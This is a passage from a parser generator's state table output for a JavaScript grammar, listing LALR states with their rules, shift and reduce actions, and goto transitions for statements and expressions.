- -state 402 - - 224) VariableDeclarationListNoIn : VariableDeclarationNoIn _ - - $default reduce using rule 224 (VariableDeclarationListNoIn) - - -state 403 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn _ "," VariableDeclarationNoIn - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn _ ";" ExprOpt ";" ExprOpt ")" Statement - - "," shift, and go to state 453 - ";" shift, and go to state 454 - - -state 404 - - 228) VariableDeclarationNoIn : IDENT _ - 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn - 249) IterationStatement : FOR "(" VAR IDENT _ IN Expr ")" Statement - 250) IterationStatement : FOR "(" VAR IDENT _ InitializerNoIn IN Expr ")" Statement - - IN shift, and go to state 457 - "=" shift, and go to state 456 - $default reduce using rule 228 (VariableDeclarationNoIn) - - InitializerNoIn go to state 455 - -state 405 - - 267) WithStatement : WITH "(" Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 458 - -state 406 - - 268) SwitchStatement : SWITCH "(" Expr ")" _ CaseBlock - - "{" shift, and go to state 460 - - CaseBlock go to state 459 - -state 407 - - 280) TryStatement : TRY Block FINALLY Block _ - - $default reduce using rule 280 (TryStatement) - - -state 408 - - 281) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block - 282) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block FINALLY Block - - IDENT shift, and go to state 461 - - -state 409 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 462 - - -state 410 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 463 - "," shift, and go to state 422 - - -state 411 - - 29) Property : IDENT ":" AssignmentExpr _ - - $default reduce using rule 29 (Property) - - -state 412 - - 32) Property : IDENT IDENT "(" _ ")" "{" FunctionBody "}" - 33) Property : IDENT IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 464 - - FormalParameterList go to state 465 - -state 413 - - 30) Property : STRING ":" AssignmentExpr _ - - $default reduce using rule 30 (Property) - - -state 414 - - 31) Property : NUMBER ":" AssignmentExpr _ - - $default reduce using rule 31 (Property) - - -state 415 - - 35) PropertyList : PropertyList "," Property _ - - $default reduce using rule 35 (PropertyList) - - -state 416 - - 39) PrimaryExpr : "{" PropertyList "," "}" _ - - $default reduce using rule 39 (PrimaryExpr) - - -state 417 - - 56) MemberExpr : MemberExpr "[" Expr "]" _ - - $default reduce using rule 56 (MemberExpr) - - -state 418 - - 69) CallExpr : CallExpr "[" Expr "]" _ - - $default reduce using rule 69 (CallExpr) - - -state 419 - - 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 466 - ConditionalExpr go to state 109 - -state 420 - - 287) FunctionExpr : FUNCTION "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 467 - SourceElements go to state 468 - -state 421 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 469 - - -state 422 - - 292) FormalParameterList : FormalParameterList "," _ IDENT - - IDENT shift, and go to state 470 - - -state 423 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 471 - - -state 424 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 472 - "," shift, and go to state 422 - - -state 425 - - 47) ArrayLiteral : "[" ElementList "," ElisionOpt "]" _ - - $default reduce using rule 47 (ArrayLiteral) - - -state 426 - - 49) ElementList : ElementList "," ElisionOpt AssignmentExpr _ - - $default reduce using rule 49 (ElementList) - - -state 427 - - 78) ArgumentList : ArgumentList "," AssignmentExpr _ - - $default reduce using rule 78 (ArgumentList) - - -state 428 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr _ - - $default reduce using rule 194 (ConditionalExprNoBF) - - -state 429 - - 241) IfStatement : IF "(" Expr ")" Statement _ - 242) IfStatement : IF "(" Expr ")" Statement _ ELSE Statement - - ELSE shift, and go to state 473 - $default reduce using rule 241 (IfStatement) - - -state 430 - - 214) Expr : Expr _ "," AssignmentExpr - 243) IterationStatement : DO Statement WHILE "(" Expr _ ")" ";" - 244) IterationStatement : DO Statement WHILE "(" Expr _ ")" error - - ")" shift, and go to state 474 - "," shift, and go to state 213 - - -state 431 - - 245) IterationStatement : WHILE "(" Expr ")" Statement _ - - $default reduce using rule 245 (IterationStatement) - - -state 432 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn - - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 383 - -state 433 - - 198) AssignmentExprNoIn : LeftHandSideExpr AssignmentOperator AssignmentExprNoIn _ - - $default reduce using rule 198 (AssignmentExprNoIn) - - -state 434 - - 214) Expr : Expr _ "," AssignmentExpr - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr _ ")" Statement - - ")" shift, and go to state 475 - "," shift, and go to state 213 - - -state 435 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 132) RelationalExprNoIn : RelationalExprNoIn "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 132 (RelationalExprNoIn) - - -state 436 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 133) RelationalExprNoIn : RelationalExprNoIn ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 133 (RelationalExprNoIn) - - -state 437 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 134) RelationalExprNoIn : RelationalExprNoIn LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 134 (RelationalExprNoIn) - - -state 438 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 135) RelationalExprNoIn : RelationalExprNoIn GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 135 (RelationalExprNoIn) - - -state 439 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 136) RelationalExprNoIn : RelationalExprNoIn INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 136 (RelationalExprNoIn) - - -state 440 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 150) EqualityExprNoIn : EqualityExprNoIn EQEQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 150 (EqualityExprNoIn) - - -state 441 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 151) EqualityExprNoIn : EqualityExprNoIn NE RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 151 (EqualityExprNoIn) - - -state 442 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 152) EqualityExprNoIn : EqualityExprNoIn STREQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 152 (EqualityExprNoIn) - - -state 443 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 153) EqualityExprNoIn : EqualityExprNoIn STRNEQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 153 (EqualityExprNoIn) - - -state 444 - - 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn - 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn - 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn - 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" EqualityExprNoIn _ - - EQEQ shift, and go to state 390 - NE shift, and go to state 391 - STREQ shift, and go to state 392 - STRNEQ shift, and go to state 393 - $default reduce using rule 162 (BitwiseANDExprNoIn) - - -state 445 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn "^" BitwiseANDExprNoIn _ - - "&" shift, and go to state 394 - $default reduce using rule 168 (BitwiseXORExprNoIn) - - -state 446 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn - 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" BitwiseXORExprNoIn _ - - "^" shift, and go to state 395 - $default reduce using rule 174 (BitwiseORExprNoIn) - - -state 447 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn - 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND BitwiseORExprNoIn _ - - "|" shift, and go to state 396 - $default reduce using rule 180 (LogicalANDExprNoIn) - - -state 448 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn - 186) LogicalORExprNoIn : LogicalORExprNoIn OR LogicalANDExprNoIn _ - - AND shift, and go to state 397 - $default reduce using rule 186 (LogicalORExprNoIn) - - -state 449 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn _ ":" AssignmentExprNoIn - - ":" shift, and go to state 476 - - -state 450 - - 216) ExprNoIn : ExprNoIn "," AssignmentExprNoIn _ - - $default reduce using rule 216 (ExprNoIn) - - -state 451 - - 214) Expr : Expr _ "," AssignmentExpr - 252) ExprOpt : Expr _ - - "," shift, and go to state 213 - $default reduce using rule 252 (ExprOpt) - - -state 452 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt _ ";" ExprOpt ")" Statement - - ";" shift, and go to state 477 - - -state 453 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," _ VariableDeclarationNoIn - - IDENT shift, and go to state 479 - - VariableDeclarationNoIn go to state 478 - -state 454 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" _ ExprOpt ";" ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 480 - -state 455 - - 229) VariableDeclarationNoIn : IDENT InitializerNoIn _ - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn _ IN Expr ")" Statement - - IN shift, and go to state 481 - $default reduce using rule 229 (VariableDeclarationNoIn) - - -state 456 - - 237) InitializerNoIn : "=" _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 482 - -state 457 - - 249) IterationStatement : FOR "(" VAR IDENT IN _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 483 - -state 458 - - 267) WithStatement : WITH "(" Expr ")" Statement _ - - $default reduce using rule 267 (WithStatement) - - -state 459 - - 268) SwitchStatement : SWITCH "(" Expr ")" CaseBlock _ - - $default reduce using rule 268 (SwitchStatement) - - -state 460 - - 269) CaseBlock : "{" _ CaseClausesOpt "}" - 270) CaseBlock : "{" _ CaseClausesOpt DefaultClause CaseClausesOpt "}" - - CASE shift, and go to state 487 - $default reduce using rule 271 (CaseClausesOpt) - - CaseClausesOpt go to state 484 - CaseClauses go to state 485 - CaseClause go to state 486 - -state 461 - - 281) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block - 282) TryStatement : TRY Block CATCH "(" IDENT _ ")" Block FINALLY Block - - ")" shift, and go to state 488 - - -state 462 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 489 - SourceElements go to state 468 - -state 463 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 490 - - -state 464 - - 32) Property : IDENT IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 491 - - -state 465 - - 33) Property : IDENT IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 492 - "," shift, and go to state 422 - - -state 466 - - 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr _ - - $default reduce using rule 190 (ConditionalExpr) - - -state 467 - - 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 493 - - -state 468 - - 293) FunctionBody : SourceElements _ - - $default reduce using rule 293 (FunctionBody) - - -state 469 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 